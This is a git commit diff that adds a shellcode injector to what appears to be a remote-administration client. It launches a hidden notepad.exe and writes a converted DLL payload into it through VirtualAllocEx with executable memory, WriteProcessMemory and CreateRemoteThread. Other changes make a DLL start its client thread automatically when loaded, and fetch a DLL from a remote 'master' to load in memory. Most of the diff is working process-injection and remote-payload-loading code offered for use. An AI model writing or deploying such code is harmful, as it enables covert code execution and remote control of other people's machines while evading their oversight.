Implement a shell code injector

This commit is contained in:
yuanyuanxiang
2025-04-24 03:01:40 +08:00
parent 323500dc90
commit 4926cdb19c
8 changed files with 73538 additions and 24 deletions

View File

@@ -269,6 +269,23 @@ int main(int argc, const char *argv[])
} }
#else #else
extern "C" __declspec(dllexport) void TestRun(char* szServerIP, int uPort);
// Auto run main thread after load the DLL
DWORD WINAPI AutoRun(LPVOID param) {
do
{
TestRun(NULL, 0);
} while (S_SERVER_EXIT == g_MyApp.g_bExit);
if (g_MyApp.g_Connection->ClientType() == CLIENT_TYPE_SHELLCODE) {
HMODULE hInstance = (HMODULE)param;
FreeLibraryAndExitThread(hInstance, -1);
}
return 0;
}
BOOL APIENTRY DllMain( HINSTANCE hInstance, BOOL APIENTRY DllMain( HINSTANCE hInstance,
DWORD ul_reason_for_call, DWORD ul_reason_for_call,
LPVOID lpReserved LPVOID lpReserved
@@ -277,13 +294,13 @@ BOOL APIENTRY DllMain( HINSTANCE hInstance,
switch (ul_reason_for_call) switch (ul_reason_for_call)
{ {
case DLL_PROCESS_ATTACH: case DLL_PROCESS_ATTACH:
case DLL_THREAD_ATTACH:
{ {
g_MyApp.g_hInstance = (HINSTANCE)hInstance; g_MyApp.g_hInstance = (HINSTANCE)hInstance;
CloseHandle(CreateThread(NULL, 0, AutoRun, hInstance, 0, NULL));
break; break;
} }
case DLL_PROCESS_DETACH: case DLL_PROCESS_DETACH:
g_MyApp.g_bExit = S_CLIENT_EXIT;
break; break;
} }
return TRUE; return TRUE;
@@ -294,14 +311,17 @@ extern "C" __declspec(dllexport) void TestRun(char* szServerIP,int uPort)
{ {
ClientApp& app(g_MyApp); ClientApp& app(g_MyApp);
CONNECT_ADDRESS& settings(*(app.g_Connection)); CONNECT_ADDRESS& settings(*(app.g_Connection));
app.g_bExit = S_CLIENT_NORMAL; if (app.IsThreadRun()) {
if (strlen(szServerIP)>0 && uPort>0)
{
settings.SetServer(szServerIP, uPort); settings.SetServer(szServerIP, uPort);
return;
} }
app.SetThreadRun(TRUE);
app.SetProcessState(S_CLIENT_NORMAL);
settings.SetServer(szServerIP, uPort);
HANDLE hThread = CreateThread(NULL,0,StartClient, &app,0,NULL); HANDLE hThread = CreateThread(NULL,0,StartClient, &app,0,NULL);
if (hThread == NULL) { if (hThread == NULL) {
app.SetThreadRun(FALSE);
return; return;
} }
#ifdef _DEBUG #ifdef _DEBUG
@@ -460,7 +480,7 @@ DWORD WINAPI StartClient(LPVOID lParam)
} }
} }
app.g_bThreadExit = false; app.SetThreadRun(TRUE);
while (app.m_bIsRunning(&app)) while (app.m_bIsRunning(&app))
{ {
ULONGLONG dwTickCount = GetTickCount64(); ULONGLONG dwTickCount = GetTickCount64();
@@ -493,7 +513,7 @@ DWORD WINAPI StartClient(LPVOID lParam)
Mprintf("StartClient end\n"); Mprintf("StartClient end\n");
delete ClientObject; delete ClientObject;
SAFE_DELETE(Manager); SAFE_DELETE(Manager);
app.g_bThreadExit = true; app.SetThreadRun(FALSE);
return 0; return 0;
} }

View File

@@ -39,6 +39,7 @@ typedef struct ClientApp
g_Connection = new CONNECT_ADDRESS(*conn); g_Connection = new CONNECT_ADDRESS(*conn);
m_bIsRunning = run; m_bIsRunning = run;
m_bShared = shared; m_bShared = shared;
g_bThreadExit = TRUE;
} }
~ClientApp() { ~ClientApp() {
SAFE_DELETE(g_Connection); SAFE_DELETE(g_Connection);
@@ -62,6 +63,22 @@ typedef struct ClientApp
while (GetCount()) while (GetCount())
Sleep(50); Sleep(50);
} }
bool IsThreadRun() {
m_Locker.Lock();
BOOL n = g_bThreadExit;
m_Locker.Unlock();
return FALSE == n;
}
void SetThreadRun(BOOL run = TRUE) {
m_Locker.Lock();
g_bThreadExit = !run;
m_Locker.Unlock();
}
void SetProcessState(State state = S_CLIENT_NORMAL) {
m_Locker.Lock();
g_bExit = state;
m_Locker.Unlock();
}
}ClientApp; }ClientApp;
ClientApp* NewClientStartArg(const char* remoteAddr, IsRunning run = IsClientAppRunning, BOOL shared=FALSE); ClientApp* NewClientStartArg(const char* remoteAddr, IsRunning run = IsClientAppRunning, BOOL shared=FALSE);

338
client/Loader.cpp Normal file

File diff suppressed because one or more lines are too long

72921
client/SCLoader.cpp Normal file

File diff suppressed because it is too large Load Diff

184
client/ShellcodeInj.h Normal file
View File

@@ -0,0 +1,184 @@
#pragma once
#include "StdAfx.h"
#include <string>
#include <iostream>
#include <tlhelp32.h>
// A shell code loader connect to 127.0.0.1:6543.
#include "SCLoader.cpp"
BOOL ConvertToShellcode(LPVOID inBytes, DWORD length, DWORD userFunction, LPVOID userData, DWORD userLength,
DWORD flags, LPSTR& outBytes, DWORD& outLength);
// A shell code injector.
class ShellcodeInj
{
public:
// Return the process id if inject succeed.
int InjectProcess(const char* processName = nullptr) {
if (processName) {
auto pid = GetProcessIdByName(processName);
if (pid ? InjectShellcode(pid, (BYTE*)Loader, sizeof(Loader)) : false)
return pid;
}
PROCESS_INFORMATION pi = {};
STARTUPINFO si = { sizeof(STARTUPINFO) };
si.dwFlags = STARTF_USESHOWWINDOW;
si.wShowWindow = SW_HIDE; // hide the window
if (CreateProcess(NULL, "\"notepad.exe\"", NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi)) {
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
return InjectShellcode(pi.dwProcessId, (BYTE*)Loader, sizeof(Loader)) ? pi.dwProcessId : 0;
}
return 0;
}
private:
// Find process id by name.
DWORD GetProcessIdByName(const std::string& procName) {
DWORD pid = 0;
HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnap != INVALID_HANDLE_VALUE) {
PROCESSENTRY32 pe32 = { sizeof(pe32) };
if (Process32First(hSnap, &pe32)) {
do {
if (_stricmp(pe32.szExeFile, procName.c_str()) == 0) {
pid = pe32.th32ProcessID;
break;
}
} while (Process32Next(hSnap, &pe32));
}
CloseHandle(hSnap);
}
return pid;
}
// Check if the process is 64bit.
bool IsProcess64Bit(HANDLE hProcess, BOOL& is64Bit)
{
BOOL bWow64 = FALSE;
typedef BOOL(WINAPI* LPFN_ISWOW64PROCESS2)(HANDLE, USHORT*, USHORT*);
HMODULE hKernel = GetModuleHandleA("kernel32.dll");
LPFN_ISWOW64PROCESS2 fnIsWow64Process2 = hKernel ?
(LPFN_ISWOW64PROCESS2)::GetProcAddress(hKernel, "IsWow64Process2") : nullptr;
if (fnIsWow64Process2)
{
USHORT processMachine = 0, nativeMachine = 0;
if (fnIsWow64Process2(hProcess, &processMachine, &nativeMachine))
{
is64Bit = (processMachine == IMAGE_FILE_MACHINE_UNKNOWN) && (nativeMachine == IMAGE_FILE_MACHINE_AMD64);
return true;
}
}
else
{
// Old system use IsWow64Process
if (IsWow64Process(hProcess, &bWow64))
{
is64Bit = sizeof(void*) == 8 ? TRUE : !bWow64;
return true;
}
}
return false;
}
// Check if it's able to inject.
HANDLE CheckProcess(DWORD pid) {
HANDLE hProcess = OpenProcess(
PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ,
FALSE, pid);
if (!hProcess) {
std::cout << "OpenProcess failed. PID: " << pid << std::endl;
return nullptr;
}
// Check process and system architecture.
BOOL targetIs64Bit = FALSE;
BOOL success = IsProcess64Bit(hProcess, targetIs64Bit);
if (!success) {
std::cout << "Get architecture failed " << std::endl;
CloseHandle(hProcess);
return nullptr;
}
const BOOL selfIs64Bit = sizeof(void*) == 8;
if (selfIs64Bit != targetIs64Bit) {
std::cout << "[Unable inject] Injector is " << (selfIs64Bit ? "64bit" : "32bit")
<< ", Target process is " << (targetIs64Bit ? "64bit" : "32bit") << std::endl;
CloseHandle(hProcess);
return nullptr;
}
return hProcess;
}
bool MakeShellcode(LPBYTE& compressedBuffer, int& ulTotalSize, LPBYTE originBuffer, int ulOriginalLength) {
if (originBuffer[0] == 'M' && originBuffer[1] == 'Z') {
LPSTR finalShellcode = NULL;
DWORD finalSize;
if (!ConvertToShellcode(originBuffer, ulOriginalLength, NULL, NULL, 0, 0x1, finalShellcode, finalSize)) {
return false;
}
compressedBuffer = new BYTE[finalSize];
ulTotalSize = finalSize;
memcpy(compressedBuffer, finalShellcode, finalSize);
free(finalShellcode);
return true;
}
return false;
}
// Inject shell code to target process.
bool InjectShellcode(DWORD pid, const BYTE* pDllBuffer, int dllSize) {
HANDLE hProcess = CheckProcess(pid);
if (!hProcess)
return false;
// Convert DLL -> Shell code.
LPBYTE shellcode = NULL;
int len = 0;
if (!MakeShellcode(shellcode, len, (LPBYTE)pDllBuffer, dllSize)) {
std::cout << "MakeShellcode failed " << std::endl;
CloseHandle(hProcess);
return false;
}
LPVOID remoteBuffer = VirtualAllocEx(hProcess, nullptr, len, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (!remoteBuffer) {
std::cout << "VirtualAllocEx failed " << std::endl;
CloseHandle(hProcess);
return false;
}
if (!WriteProcessMemory(hProcess, remoteBuffer, shellcode, len, nullptr)) {
std::cout << "WriteProcessMemory failed " << std::endl;
VirtualFreeEx(hProcess, remoteBuffer, 0, MEM_RELEASE);
CloseHandle(hProcess);
delete[] shellcode;
return false;
}
delete[] shellcode;
// Shell code entry.
LPTHREAD_START_ROUTINE entry = reinterpret_cast<LPTHREAD_START_ROUTINE>(reinterpret_cast<ULONG_PTR>(remoteBuffer));
HANDLE hThread = CreateRemoteThread(hProcess, nullptr, 0, entry, remoteBuffer, 0, nullptr);
if (!hThread) {
std::cout << "CreateRemoteThread failed " << std::endl;
VirtualFreeEx(hProcess, remoteBuffer, 0, MEM_RELEASE);
CloseHandle(hProcess);
return false;
}
WaitForSingleObject(hThread, INFINITE);
std::cout << "Finish injecting to PID: " << pid << std::endl;
VirtualFreeEx(hProcess, remoteBuffer, 0, MEM_RELEASE);
CloseHandle(hThread);
CloseHandle(hProcess);
return true;
}
};

View File

@@ -154,12 +154,14 @@
</Link> </Link>
</ItemDefinitionGroup> </ItemDefinitionGroup>
<ItemGroup> <ItemGroup>
<ClCompile Include="Loader.cpp" />
<ClCompile Include="MemoryModule.c" /> <ClCompile Include="MemoryModule.c" />
<ClCompile Include="test.cpp" /> <ClCompile Include="test.cpp" />
</ItemGroup> </ItemGroup>
<ItemGroup> <ItemGroup>
<ClInclude Include="MemoryModule.h" /> <ClInclude Include="MemoryModule.h" />
<ClInclude Include="resource1.h" /> <ClInclude Include="resource1.h" />
<ClInclude Include="ShellcodeInj.h" />
</ItemGroup> </ItemGroup>
<ItemGroup> <ItemGroup>
<ResourceCompile Include="TestRun.rc" /> <ResourceCompile Include="TestRun.rc" />

View File

@@ -5,6 +5,7 @@
#include "common/commands.h" #include "common/commands.h"
#include "StdAfx.h" #include "StdAfx.h"
#include "MemoryModule.h" #include "MemoryModule.h"
#include "ShellcodeInj.h"
#include <WS2tcpip.h> #include <WS2tcpip.h>
#pragma comment(lib, "ws2_32.lib") #pragma comment(lib, "ws2_32.lib")
@@ -140,7 +141,7 @@ public:
// Memory DLL runner. // Memory DLL runner.
class MemoryDllRunner : public DllRunner { class MemoryDllRunner : public DllRunner {
private: protected:
HMEMORYMODULE m_mod; HMEMORYMODULE m_mod;
std::string GetIPAddress(const char* hostName) std::string GetIPAddress(const char* hostName)
{ {
@@ -169,8 +170,7 @@ private:
} }
public: public:
MemoryDllRunner() : m_mod(nullptr){} MemoryDllRunner() : m_mod(nullptr){}
// Request DLL from the master. virtual const char* ReceiveDll(int &size) {
virtual void* LoadLibraryA(const char* path) {
WSADATA wsaData = {}; WSADATA wsaData = {};
if (WSAStartup(MAKEWORD(2, 2), &wsaData)) if (WSAStartup(MAKEWORD(2, 2), &wsaData))
return nullptr; return nullptr;
@@ -179,7 +179,7 @@ public:
char* buffer = new char[bufSize]; char* buffer = new char[bufSize];
bool isFirstConnect = true; bool isFirstConnect = true;
do{ do {
if (!isFirstConnect) if (!isFirstConnect)
Sleep(5000); Sleep(5000);
@@ -214,7 +214,7 @@ public:
closesocket(clientSocket); closesocket(clientSocket);
continue; continue;
} }
char *ptr = buffer + sizeof(PkgHeader); char* ptr = buffer + sizeof(PkgHeader);
int bufferSize = 16 * 1024, bytesReceived = 0, totalReceived = 0; int bufferSize = 16 * 1024, bytesReceived = 0, totalReceived = 0;
while (totalReceived < bufSize) { while (totalReceived < bufSize) {
int bytesToReceive = min(bufferSize, bufSize - totalReceived); int bytesToReceive = min(bufferSize, bufSize - totalReceived);
@@ -227,18 +227,25 @@ public:
continue; continue;
} }
BYTE cmd = ptr[0], type = ptr[1]; BYTE cmd = ptr[0], type = ptr[1];
int size = 0; size = 0;
memcpy(&size, ptr + 2, sizeof(int)); memcpy(&size, ptr + 2, sizeof(int));
if (totalReceived != size + 6 + sizeof(PkgHeader)) { if (totalReceived != size + 6 + sizeof(PkgHeader)) {
continue; continue;
} }
m_mod = ::MemoryLoadLibrary(buffer + 6 + sizeof(PkgHeader), size);
closesocket(clientSocket); closesocket(clientSocket);
} while (false); } while (false);
SAFE_DELETE_ARRAY(buffer);
WSACleanup(); WSACleanup();
return buffer;
}
// Request DLL from the master.
virtual void* LoadLibraryA(const char* path) {
int size = 0;
auto buffer = ReceiveDll(size);
if (nullptr == buffer)
return nullptr;
m_mod = ::MemoryLoadLibrary(buffer + 6 + sizeof(PkgHeader), size);
SAFE_DELETE_ARRAY(buffer);
return m_mod; return m_mod;
} }
virtual FARPROC GetProcAddress(void* mod, const char* lpProcName) { virtual FARPROC GetProcAddress(void* mod, const char* lpProcName) {
@@ -264,6 +271,26 @@ int main(int argc, const char *argv[])
status = 0; status = 0;
SetConsoleCtrlHandler(&callback, TRUE); SetConsoleCtrlHandler(&callback, TRUE);
// Try to inject shell code to `notepad.exe`
// If failed then run memory DLL
ShellcodeInj inj;
int pid = 0;
do{
if (sizeof(void*) == 4) // Shell code is 64bit
break;
if (!(pid = inj.InjectProcess(nullptr))) {
break;
}
HANDLE hProcess = OpenProcess(SYNCHRONIZE, FALSE, pid);
if (hProcess == NULL) {
break;
}
Mprintf("Inject process [%d] succeed.\n", pid);
DWORD waitResult = WaitForSingleObject(hProcess, INFINITE);
CloseHandle(hProcess);
Mprintf("Process [%d] is finished.\n", pid);
} while (pid);
do { do {
BOOL ret = Run(argc > 1 ? argv[1] : (strlen(g_ConnectAddress.ServerIP()) == 0 ? "127.0.0.1" : g_ConnectAddress.ServerIP()), BOOL ret = Run(argc > 1 ? argv[1] : (strlen(g_ConnectAddress.ServerIP()) == 0 ? "127.0.0.1" : g_ConnectAddress.ServerIP()),
argc > 2 ? atoi(argv[2]) : (g_ConnectAddress.ServerPort() == 0 ? 6543 : g_ConnectAddress.ServerPort())); argc > 2 ? atoi(argv[2]) : (g_ConnectAddress.ServerPort() == 0 ? 6543 : g_ConnectAddress.ServerPort()));

View File

@@ -297,11 +297,16 @@ public:
int ClientType()const { int ClientType()const {
return iType; return iType;
} }
void SetServer(const char* ip, int port) { // return true if modified
if (ip && strlen(ip) && port > 0) { bool SetServer(const char* ip, int port, bool e = false) {
strcpy_s(szServerIP, ip); if (ip == NULL || strlen(ip) <= 0 || port <= 0)
sprintf_s(szPort, "%d", port); return false;
} bool modified = bEncrypt != e || strcmp(ServerIP(), ip) != 0 || port != ServerPort();
bEncrypt = e;
strcpy_s(szServerIP, ip);
sprintf_s(szPort, "%d", port);
return modified;
} }
bool IsValid()const { bool IsValid()const {
return strlen(szServerIP) != 0 && atoi(szPort) > 0; return strlen(szServerIP) != 0 && atoi(szPort) > 0;